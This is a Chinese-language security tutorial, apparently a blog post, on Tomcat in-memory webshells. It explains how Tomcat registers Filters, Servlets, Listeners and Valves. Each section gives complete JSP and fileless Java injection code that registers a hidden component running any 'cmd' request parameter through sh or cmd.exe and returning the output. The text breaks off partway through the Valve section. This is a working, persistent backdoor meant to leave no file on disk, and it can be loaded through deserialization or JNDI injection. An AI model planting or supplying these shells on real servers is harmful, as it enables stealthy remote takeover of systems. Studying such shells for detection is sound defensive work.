内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件,内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象

Tomcat内存马

Tomcat架构原理

首先需要了解tomcat的一些处理机制以及结构,这样才能了解内存马
Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper:

  • Engine,实现类为 org.apache.catalina.core.StandardEngine
  • Host,实现类为 org.apache.catalina.core.StandardHost
  • Context,实现类为 org.apache.catalina.core.StandardContext
  • Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类

可以看到,如果我们想要添加一个Servlet,需要创建一个Wrapper包裹他来挂载到Context(StandardContext中)

Tomcat的加载流程:

JavaWeb三大组件的调用顺序: Listener->Filter->Servlet

Filter

Filter译为过滤器,过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理

流程分析

先来分析一下正常Filter的流程是怎么样的,实现一个filter类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}

在web.xml中注册我们的filter

filterChain.doFilter处下好断点,debug进行调试,主要的调用栈如下

1
2
3
4
5
doFilter:11, filterDemo
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)

看到在ApplicationFilterChain#internalDoFilter中从filterConfig获取filter对象,然后调用doFilter

继续往上跟进

再往上看到在StandardWrapperValve#invoke调用了doFilter,这才能走到ApplicationFilterChain的doFilter

我们看看filterChain是如何获取的,发现使用ApplicationFilterFactory.createFilterChain创建了一个ApplicationFilterChain

跟进createFilterChain,看到首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 filterMaps

发现会遍历 filterMaps 中的 filterMap,并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功或就会进入 if 判断,会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 filterConfig,如果不为null,就会调用addFilter

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(去重)
下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

继续往上分析

发现wrapper是request.getWrapper()得到的
具体流程:

1.在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配
2.如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig
3.如果获取到 filterConfig,则将其加入到 filterChain 中
4.后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法

不难发现最开始是从 StandardContext 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell

jsp内存马

如何获取StandardContext就是关键了

可以向Tomcat的webapp目录下上传JSP文件的情况下,JSP文件里可以就直接调用request对象,因为Tomcat编码JSP文件为java文件时,会自动将request对象放加进去。这时只需要一步一步获取standardContext即可

1
2
3
4
5
6
7
8
9
10
11
12
//获取当前的ServletContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
//ApplicationContext为ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//获取到standardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

获取到 StandardContext 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关

可以看到standardContext 有这三个方法可以添加我们的filter设置

filter内存马实现步骤:

  1. 获取StandardContext
  2. 创建一个恶意filter
  3. 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
  4. 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
  5. 通过反射获取filterConfigs,实例化一个filterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDef,存放到filterConfigs中

最后的jsp内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "memshell";
//获取当前的ServletContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
//ApplicationContext为ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//获取standardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>

接下来访问任意路由试一下,成功植入内存马

严格意义上来说不能算是内存WebShell,因为在Tomcat编译jsp文件的时候,会在Tomcat目录下有文件落地

无文件内存马

在没有request下,比如说反序列化漏洞、JNDI注入等,我们就需要先获取request,而获取request的操作之前已经学习过了,直接给出代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
import javax.servlet.Filter;

public class EvilFilter extends AbstractTranslet implements Filter{
static{
try {
final String name = "shell";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null) {
Filter filter = new EvilFilter();

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(name, filterConfig);
}
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException{}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException,ServletException{
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}

该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

tomcat 7 与 tomcat 8、9 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样

tomcat 7:
org.apache.catalina.deploy.FilterDef
org.apache.catalina.deploy.FilterMap
tomcat 8、9:
org.apache.tomcat.util.descriptor.web.FilterDef
org.apache.tomcat.util.descriptor.web.FilterMap

这里看到一篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法
在每个Tomcat版本下,都会开一个http-nio-端口-Acceptor的线程,Acceptor是用来接收请求的,这些请求自然会交给后面的Engine->Host->Context->servlet,分析发现成功得到了StandardContext

这里测试发现存在bug,仅学习一个思路

参考:
Java安全之基于Tomcat实现内存马
Tomcat动态注册filter
Tomcat 内存马学习(一):Filter型
java Filter内存马分析

Servlet

Servlet 是服务端的 Java 应用程序,用于处理HTTP请求,做出相应的响应

流程分析

要注入servlet,就需要在tomcat启动之后动态添加Servlet
在Tomcat7之后的版本,StandardContext中提供了动态注册Servlet的方法,但是并未实现

所以我们需要自己去实现动态添加Servlet的功能,先看一下Servlet的初始化

org.apache.catalina.core.StandardWrapper#setServletClass()处下断点调试,回溯到上一层的ContextConfig.configureConetxt()

可以看到ContextConfig类中存在Wrapper的初始化流程
首先调用createWapper()创建了wrapper,然后调用set方法配置wrapper相关的属性

需要留意的一个特殊属性是LoadOnStartUp属性,它是一个启动优先级
继续往后看,配置了wrapper的servletClass

配置完成之后会将wrapper放入StandardContext的child里面

接着会调用StandardContext.addServletMappingDecoded()添加servlet对应的映射

这里会遍历web.xml中所有配置的Servlet-Mapping,通过StandardContext.addServletMappingDecoded()将url路径和servlet类做映射

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1.通过 context.createWapper() 创建 Wapper 对象
2.设置 Servlet 的 LoadOnStartUp 的值
3.设置 Servlet 的 Name
4.设置 Servlet 对应的 Class
5.将 Servlet 添加到 context 的 children 中
6.将 url 路径和 servlet 类做映射

初始化差不多跟完了,再看一下Servlet装载流程分析
org.apache.catalina.core.StandardWapper#loadServlet()处下断点调试,回溯到StandardContext.startInternal()方法

可以看到,是在加载完Listener和Filter之后,才装载Servlet

这里调用了findChildren()方法从StandardContext中拿到所有的child并传到loadOnStartUp()方法处理,跟到loadOnstartup()

首先获取Context下所有的Wrapper类,并获取到每个Servlet的启动顺序,筛选出 >= 0 的项加载到一个存放Wapper的list中,然后对每个wrapper进行加载

如果没有声明 loadOnStartup 属性(默认为-1)

jsp内存马

前面说过,Tomcat的一个Wrapper代表一个Servlet ,而Servlet的Wrapper对象均在StandardContext的children属性中
所以这里创建一个Wrapper对象,把servlet写进去后直接用standardContext.addChild()添加到children即可

Servlet内存马实现步骤:

  1. 找到StandardContext
  2. 创建恶意Servlet
  3. 用Wrapper对其进行封装
  4. 添加封装后的恶意Wrapper到StandardContext的children当中
  5. 添加ServletMapping将访问的URL和Servlet进行绑定

最后的jsp内存马如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};

// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
// 新增servlet
newWrapper.setName("memshell");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMappingDecoded("/shell","memshell");
%>

无文件内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

public class TomcatServlet extends AbstractTranslet implements Servlet{
static{
try{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

TomcatServlet Servlet = new TomcatServlet();

Method createWrapper = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("createWrapper");
Wrapper greetWrapper = (Wrapper) createWrapper.invoke(standardContext);

Method gname = Container.class.getDeclaredMethod("setName", String.class);
gname.invoke(greetWrapper,"shell");

Method gload = Wrapper.class.getDeclaredMethod("setLoadOnStartup", int.class);
gload.invoke(greetWrapper,1);

Method gservlet = Wrapper.class.getDeclaredMethod("setServlet", Servlet.class);
gservlet.invoke(greetWrapper,Servlet);

Method gclass = Wrapper.class.getDeclaredMethod("setServletClass", String.class);
gclass.invoke(greetWrapper,Servlet.getClass().getName());

Method gchild = StandardContext.class.getDeclaredMethod("addChild",Container.class);
gchild.invoke(standardContext,greetWrapper);

Method gmap = StandardContext.class.getDeclaredMethod("addServletMappingDecoded",String.class,String.class,boolean.class);
gmap.invoke(standardContext,"/shell", "shell",false);
}catch (Exception hi){
//hi.printStackTrace();
}
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

}
@Override
public void init(ServletConfig config) throws ServletException {}

@Override
public String getServletInfo() {return null;}

@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
Process process = Runtime.getRuntime().exec(cmds);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
else{
resp.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}

参考:
Tomcat-Servlet型内存马
擅长捉弄的内存马同学:Servlet内存马
Java安全之基于Tomcat的Servlet&Listener内存马

Listener

Listener 是用于监听某些特定动作的监听器,当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,用来监听对象或者流程的创建与销毁

下面是一个HttpSession的Listener示意图:

Listener的监听对象主要有三种类型:

  1. ServletContext域对象——实现ServletContextListener接口
    生命周期:
    创建——启动服务器时创建
    销毁——关闭服务器或者从服务器移除项目
    作用:利用ServletContextListener监听器在创建ServletContext域对象时完成一些想要初始化的工作或者执行自定义任务调度
  2. ServletRequest域对象——实现ServletRequestListener接口
    生命周期:
    创建——访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求
    销毁——服务器已经对该次请求做出了响应
  3. HttpSession域对象——实现HttpSessionListener接口
    生命周期:
    创建——只要调用了getSession()方法就会创建,一次会话只会创建一次
    销毁——1.超时(默认为30分钟) // 2.非正常关闭,销毁 // 3.正常关闭服务器(序列化)
    作用:每位用户登录网站时都会创建一个HTTPSession对象,利用这个统计在线人数

ServletRequestListener接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马

流程分析

首先编写一个Listener,下好断点并写入web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ServletListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("request init");
}
}

1
2
3
<listener>
<listener-class>ServletListener</listener-class>
</listener>

顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart 方法
可以看到它先调用findApplicationListeners()获取Listener的名字,然后实例化

看到findApplicationListeners函数就是获取 applicationListeners 属性的

而 applicationListeners 数组中存放的就是我们 Listener 的名字

继续往下,发现会遍历results中的Listener,根据不同的类型放入不同的数组,我们这里的ServletRequestListener放入eventListeners数组中

然后通过调用getApplicationEventListeners()获取applicationEventListenersList中的值

最后调用setApplicationEventListeners对applicationEventListenersList进行设置

至此 listenerStart 函数的主要部分就结束了

在前面的函数部分我们知道了 listenerStart() 将我们的 Listener 实例化添加到了 applicationEventListenersList 中,那么只存进去是不可能触发的,我们的 Listener 需要触发肯定需要一个函数点来调用

跟一下第二个断点
根据调用堆栈我们找到了fireRequestInitEvent()方法
看到调用了listener.requestInitialized(event),而这个 listener 就是我们设置的 Listener 实例,可以看到是通过遍历 instances 数组获取,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值

jsp内存马

根据上面的分析我们知道Listener来源于tomcat初始化时web.xml实例化的Listener和applicationEventListenersList中的Listener,前者我们无法控制,但是后者我们可以控制,只需要往applicationEventListenersList中加入我们的恶意Listener即可

Listener内存马实现步骤:

  1. 获取StandardContext
  2. 创建恶意Listener
  3. 调用StandardContext.addApplicationEventListener()添加恶意Listener

最后的jsp内存马如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletRequestListener servletRequestListener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if (cmd != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getOutputStream().write(output.getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
} catch (IOException e) {
}
}
}
};
standardContext.addApplicationEventListener(servletRequestListener);
out.println("inject success");
%>

无文件内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class EvilListener implements ServletRequestListener {
static {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

EvilListener servletRequestListener = new EvilListener();
Method addlistener = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addApplicationEventListener", Object.class);
addlistener.invoke(standardContext,servletRequestListener);
} catch (Exception hi) {
}
}

@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try{
RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();
Field field = requestfacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestfacade);
Response response = request.getResponse();
if (request.getParameter("cmd") != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
response.getOutputStream().write(output.getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}
}catch(Exception ig){
ig.printStackTrace();
}
}
}

参考:
Tomcat-Listener型内存马
Tomcat 内存马(二):Listener 内存马

Valve

Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门
整个调用过程是通过Pipeline-Valve管道进行的 ,Pipeline中有addValve方法,维护了Valve链表,Valve可以插入到Pipeline中,对请求做某些处理,Pipeline中是没有invoke方法的,因为整个调用链的触发是Valve来完成的,Valve完成自己的处理后,调用getNext().invoke()来触发下一个Valve调用

借用一张图说明:

每个容器都有一个Pipeline对象,只要触发了这个Pipeline的第一个Valve,这个容器里的Pipeline中的Valve都会被调用到,其中,Pipeline中的getBasic方法获取的Valve处于Valve链的末端,它是Pipeline中必不可少的一个Valve, 负责调用下层容器的Pipeline里的第一个Valve

流程分析

Tomcat 中 Pipeline 仅有一个实现类StandardPipeline,存放在 ContainerBase 的 pipeline 属性中

并且 ContainerBase 提供 addValve 方法调用 StandardPipeline 的 addValve 方法添加
四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加

看到在 org.apache.catalina.connector.CoyoteAdapter 的 service 方法中调用 Valve 的 invoke 方法

在invoke方法中我们能拿到request和response

这里我们只要自己写一个 Valve 的实现类,为了方便也可以直接使用 ValveBase 实现类。里面的 invoke 方法加入我们的恶意代码,由于可以拿到 Request 和 Response 方法,所以也可以做一些参数上的处理或者回显。然后使用 StandardContext 中的 pipeline 属性的 addValve 方法进行注册

jsp内存马

反射获取四大组件,然后调用addValve方法添加恶意Valve,之后发起请求即可触发

Valve内存马实现步骤:

  1. 获取StandardContext
  2. 继承并编写一个恶意Valve
  3. 调用standardContext.getPipeline().addValve()添加恶意valve实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
